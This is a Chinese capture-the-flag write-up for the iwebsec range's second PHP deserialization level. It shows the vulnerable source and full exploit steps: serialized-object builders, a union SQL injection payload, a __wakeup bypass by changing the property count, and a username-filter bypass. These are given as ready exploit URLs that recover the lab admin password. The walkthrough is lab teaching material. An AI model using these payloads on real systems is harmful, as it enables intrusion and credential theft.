iwebsec靶场 反序列化关卡通关笔记2-反序列化漏洞示例02

embedded/2024/10/18 3:33:02/

目录

第02关 反序列化漏洞示例02

1.打开靶场

2.源码分析

3.login函数利用

4.show函数利用

5.参数反序列化设计

6.show函数查询orange

7.增加注释语句

8.show函数SQL注入获取密码

(1)构造SQL语句

(2)构造序列化

(3)实战SQL注入渗透

(4)绕过wakeup

8.登录渗透

(1)绕过orange账号过滤

(2)序列化

(3)实战渗透


第02关 反序列化漏洞示例02

1.打开靶场

iwebsec 靶场漏洞库iwebsecicon-default.png?t=O83Ahttp://iwebsec.com:81/unserialize/02/index.php

 

2.源码分析

如下所示,有__destruct和__wakeup函数的调用,故而存在反序列化漏洞。

<?phprequire_once('../../header.php');?>
<html><head><title>反序列化漏洞</title></head><h2>反序列化漏洞</h2><div class="alert alert-success"><p>/index.php?data=hello </p></div><body>
<?phpinclude "config.php";class WEB{private $method;private $args;private $conn;public function __construct($method, $args) {$this->method = $method;$this->args = $args;$this->__conn();}function show() {list($username) = func_get_args();$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);$obj = $this->__query($sql);if ( $obj != false  ) {$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );} else {$this->__die("error!");}}function login() {global $FLAG;list($username, $password) = func_get_args();$username = strtolower(trim(mysql_escape_string($username)));$password = strtolower(trim(mysql_escape_string($password)));$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");}$obj = $this->__query($sql);if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);} else {$this->__die("Admin only!");}}function source() {highlight_file(__FILE__);}function __conn() {global $db_host, $db_name, $db_user, $db_pass, $DEBUG;if (!$this->conn)$this->conn = mysql_connect($db_host, $db_user, $db_pass);mysql_select_db($db_name, $this->conn);if ($DEBUG) {$sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64)) CHARACTER SET utf8";$this->__query($sql, $back=false);$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";$this->__query($sql, $back=false);} mysql_query("SET names utf8");mysql_query("SET sql_mode = 'strict_all_tables'");}function __query($sql, $back=true) {$result = @mysql_query($sql);if ($back) {return @mysql_fetch_object($result);}}function __die($msg) {$this->__close();header("Content-Type: application/json");die( json_encode( array("msg"=> $msg) ) );}function __close() {mysql_close($this->conn);}function __destruct() {$this->__conn();if (in_array($this->method, array("show", "login", "source"))) {@call_user_func_array(array($this, $this->method), $this->args);} else {$this->__die("What do you do?");}$this->__close();}function __wakeup() {
foreach($this->args as $k => $v) {$this->args[$k] = strtolower(trim(mysql_escape_string($v)));}}
}if(isset($_GET["data"])) {@unserialize($_GET["data"]);    
} else {new WEB("source", array());
}

关键函数destruct是通过参数来判断,如果传入参数时show就决定调用show函数,如果传入参数时login就调用login函数,另外如果参数时source就调用source函数。

    function __destruct() {$this->__conn();if (in_array($this->method, array("show", "login", "source"))) {@call_user_func_array(array($this, $this->method), $this->args);} else {$this->__die("What do you do?");}$this->__close();}

另一个关键函数wakeup则是对SQL语句进行过滤处理

    function __wakeup() {
foreach($this->args as $k => $v) {$this->args[$k] = strtolower(trim(mysql_escape_string($v)));}}

3.login函数利用

分析login函数,此函数中可以通过用户名和密码登陆后输出flag。如下所示可知存在用户名为orange,它的角色role是admin。

function login() {global $FLAG;list($username, $password) = func_get_args();$username = strtolower(trim(mysql_escape_string($username)));$password = strtolower(trim(mysql_escape_string($password)));$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");}$obj = $this->__query($sql);if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);} else {$this->__die("Admin only!");}}

SQL语句的查询条件为用户名和密码,但是对username和password进行了过滤,且当两者都存在时才能查询成功

"SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password

根据如下内容可知如果用户名为orange,或者SQL语句中出现orange后不让查询

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");
}

根据如下内容可知道如果角色为admin且SQL语句查找成功时,可以确保打印出flag 

if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);}

根据如上内容,如果想渗透成功就需要使用用户名orange,于是

SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password

由于这里使用了mysql_escape_string函数处理,故而可以考虑通过show函数获取到admin角色的账号的户名和密码

4.show函数利用

分析show函数源码,大概功能是基于用户名来进行SQL查询。如下所示,SQL语句中并没有过滤函数对其进行处理

function show() {list($username) = func_get_args();$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);$obj = $this->__query($sql);if ( $obj != false  ) {$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );} else {$this->__die("error!");}}

  其中SQL语句的闭合方式为单引号,可以构造union查询的SQL注入语句

"SELECT * FROM users WHERE username='%s'", $username

使用参数

username=orange

5.参数反序列化设计

根据源码,根据data进行参数传入,传入后对参数进行反序列化函数处理

if(isset($_GET["data"])) {@unserialize($_GET["data"]);    
} else {new WEB("source", array());
}

基于此,需要对data参数进行反序列化,构造如下语句

<?php class WEB{private $method;private $args;public function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$args['username'] = "orange";
$args['password'] = "";
$method="show"; #或者login,或者show,或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>

6.show函数查询orange

举例,如果想获取orange账号的show函数调用结果,构造参数如下

将方框用%00替换,故而参数为

O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}

 http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}icon-default.png?t=O83Ahttp://iwebsec.com:81/unserialize/02/index.php?data=O:3:%22WEB%22:2:%7Bs:11:%22%00WEB%00method%22;s:4:%22show%22;s:9:%22%00WEB%00args%22;a:2:%7Bs:8:%22username%22;s:6:%22orange%22;s:8:%22password%22;s:0:%22%22;%7D%7D

获取到orange账号的role为为admin

7.增加注释语句

为了调试代码更加清晰,在wakeup函数处理前后增加print语句,show函数前后增加print语句,从而更清晰明了看出SQL语句是否正确

<?phprequire_once('../../header.php');?>
<html><head><title>反序列化漏洞</title></head><h2>反序列化漏洞</h2><div class="alert alert-success"><p>/index.php?data=hello </p></div><body>
<?phpinclude "config.php";class WEB{private $method;private $args;private $conn;public function __construct($method, $args) {$this->method = $method;$this->args = $args;$this->__conn();}function show() {list($username) = func_get_args();
print_r("\r\n");
print_r($username);
print_r("\r\n");$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
print_r($sql);
print_r("\r\n");$obj = $this->__query($sql);if ( $obj != false  ) {$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );} else {$this->__die("error!");}}function login() {global $FLAG;list($username, $password) = func_get_args();$username = strtolower(trim(mysql_escape_string($username)));$password = strtolower(trim(mysql_escape_string($password)));$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");}$obj = $this->__query($sql);if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);} else {$this->__die("Admin only!");}}function source() {highlight_file(__FILE__);}function __conn() {global $db_host, $db_name, $db_user, $db_pass, $DEBUG;if (!$this->conn)$this->conn = mysql_connect($db_host, $db_user, $db_pass);mysql_select_db($db_name, $this->conn);if ($DEBUG) {$sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64)) CHARACTER SET utf8";$this->__query($sql, $back=false);$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";$this->__query($sql, $back=false);} mysql_query("SET names utf8");mysql_query("SET sql_mode = 'strict_all_tables'");}function __query($sql, $back=true) {$result = @mysql_query($sql);if ($back) {return @mysql_fetch_object($result);}}function __die($msg) {$this->__close();header("Content-Type: application/json");die( json_encode( array("msg"=> $msg) ) );}function __close() {mysql_close($this->conn);}function __destruct() {$this->__conn();if (in_array($this->method, array("show", "login", "source"))) {@call_user_func_array(array($this, $this->method), $this->args);} else {$this->__die("What do you do?");}$this->__close();}function __wakeup() {
foreach($this->args as $k => $v) {
print_r($this->args[$k]);$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
print_r("\r\n");
print_r($this->args[$k]);
print_r("----------end wakeup\r\n");}}}if(isset($_GET["data"])) {@unserialize($_GET["data"]);    
} else {new WEB("source", array());
}
require_once '../../footer.php';

8.show函数SQL注入获取密码

(1)构造SQL语句

show函数SQL语句的闭合方式为单引号,可以构造union查询的SQL注入语句

"SELECT * FROM users WHERE username='%s'", $username

且查询成功仅打印如下信息(即账号的username和role),算上login函数提示的中users表中还有密码参数在内,猜测这次select *应该是查询出至少3列数据。

$obj = $this->__query($sql);
sprintf("%s is %s", $obj->username, $obj->role)

如上所示,打印了obj内容中的username和role,select *内容为3列,由于不知道顺序使什么样的,为了使可以查询password,我们可以构造语句

 union select passord,passord,passord from users where username='orange'

尝试与union注入参数合并使用,如下所示

ljn' union select passord,passord,passord from users where username='orange' -- 

(2)构造序列化

<?php class WEB{private $method;private $args;public function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}$args=array("ljn' union select password,password,password from users where username='orange' -- ");
$method="show"; #或者login,或者show,或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>

生成如下内容

 将方框用%00替换,参数为

"O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}"

(3)实战SQL注入渗透

构造如下url

http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

渗透结果如下所示

这里可以看到函数被wakeup函数处理,输出的内容中包含了mysql_escape_string,增加了转义符处理,如下所示

SELECT * FROM users WHERE username='ljn\' union select password,password,password from users where username=\'orange\' --

(4)绕过wakeup

正因如此,需要想办法绕过wakeup函数的处理,可以通过将对象属性的个数进行修改,比如说将数字数量修改一下

O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

接下来进行渗透

http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

渗透结果如下所示

 最终获取到orange用户的密码为mall123mall

{"msg":"mall123mall is mall123mall"}

 iwebsec官网注入地址为

http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

8.登录渗透

(1)绕过orange账号过滤

构造参数,正常来讲如下所示可以输出flag。

$args['username'] = 'orange';
$args['password'] = 'mall123mall';
$method="login";

但是根据login函数中对oragne账号的过滤,可知如果用户名为orange,或者SQL语句中出现orange后程序会直接停止,无法输出flag。

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");
}

故而在渗透过程中,需要对orange进行替换,将其替换为orÃnge

(2)序列化

根据上一步的用户名 'orÃnge'和密码'mall123mall'进行登录操作,即参数为

$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";

 由于源码中会对参数进行反序列化操作,故而需要将操作进行序列化,如下所示

<?php class WEB{private $method;private $args;public function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));?>

(3)实战渗透

 生成内容将方框乱码替换为%00,这是因为它本身就是对%00进行编码处理后的值,如下所示替换后如下右图所示

输入参数为

O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}

构造url为

http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}

如下所示


http://www.ppmy.cn/embedded/119179.html

相关文章

毕业设计选题:基于ssm+vue+uniapp的校园订餐小程序

开发语言&#xff1a;Java框架&#xff1a;ssmuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;M…

3.数据结构与算法-基本概念和术语

数据、数据元素、数据项和数据对象 数据 数据元素 学生表-记录 数-节点 图&#xff1a;顶点 数据项 数据对象 数据对象与数据元素的关系 数据结构 数据结构的三个部分 逻辑结构的种类 存储结构分类 顺序存储结构 链式存储结构 索引存储结构 散列存储结构 数据类型和抽象数据类…

【学习笔记】手写 Tomcat 四

目录 一、Read 方法返回 -1 的问题 二、JDBC 优化 1. 创建配置文件 2. 创建工具类 3. 简化 JDBC 的步骤 三、修改密码 优化返回数据 创建修改密码的页面 注意 测试 四、优化响应动态资源 1. 创建 LoginServlet 类 2. 把登录功能的代码放到 LoginServlet 类 3. 创…

力扣题解2306

大家好&#xff0c;欢迎来到无限大的频道。 今日继续给大家带来力扣题解。 题目描述&#xff08;困难&#xff09;&#xff1a; 公司命名 给你一个字符串数组 ideas 表示在公司命名过程中使用的名字列表。公司命名流程如下&#xff1a; 从 ideas 中选择 2 个 不同 名字&…

AI模型托管数量突破百万大关

B站&#xff1a;啥都会一点的研究生公众号&#xff1a;啥都会一点的研究生 AI圈又有哪些新鲜事&#xff1f; Hugging Face AI模型托管数量突破百万大关 AI托管平台Hugging Face迎来里程碑&#xff0c;其托管的AI模型数量已超过100万个&#xff0c;标志着AI产业的蓬勃发展。H…

IPEmotion 2024 R2现支持Amazon S3和Windows SMB服务器

新版IPEmotion 2024 R2软件推出了许多新功能&#xff0c;其中的一大功能是支持Amazon S3、Windows SMB服务器以及新的IPE-CAM-007 USB摄像头。IPEmotion 2024 R2还支持直接写入TEDS数据和配置可装载电池的新款IPE833记录仪。 — 创新成果一览 — ■ 支持Amazon S3、Windows SM…

讯飞星火编排创建智能体学习(二)决策节点

目录 概述 决策节点 文生图节点 连接节点 测试结果 概述 在上一篇博文讯飞星火编排创建智能体学习&#xff08;一&#xff09;最简单的智能体构建-CSDN博客&#xff0c;我介绍了编排创作智能体&#xff0c;这篇来介绍一下“决策节点”。 决策节点 在编排创作智能体中&…

触发器对象

触发器是什么&#xff1f; 触发器&#xff08;Triggers&#xff09;是数据库中的一种特殊对象&#xff0c;它们会在某些数据库事件发生时自动执行。触发器的主要作用是对表的操作&#xff08;如INSERT、UPDATE、DELETE&#xff09;做出响应&#xff0c;并执行特定的操作。 触…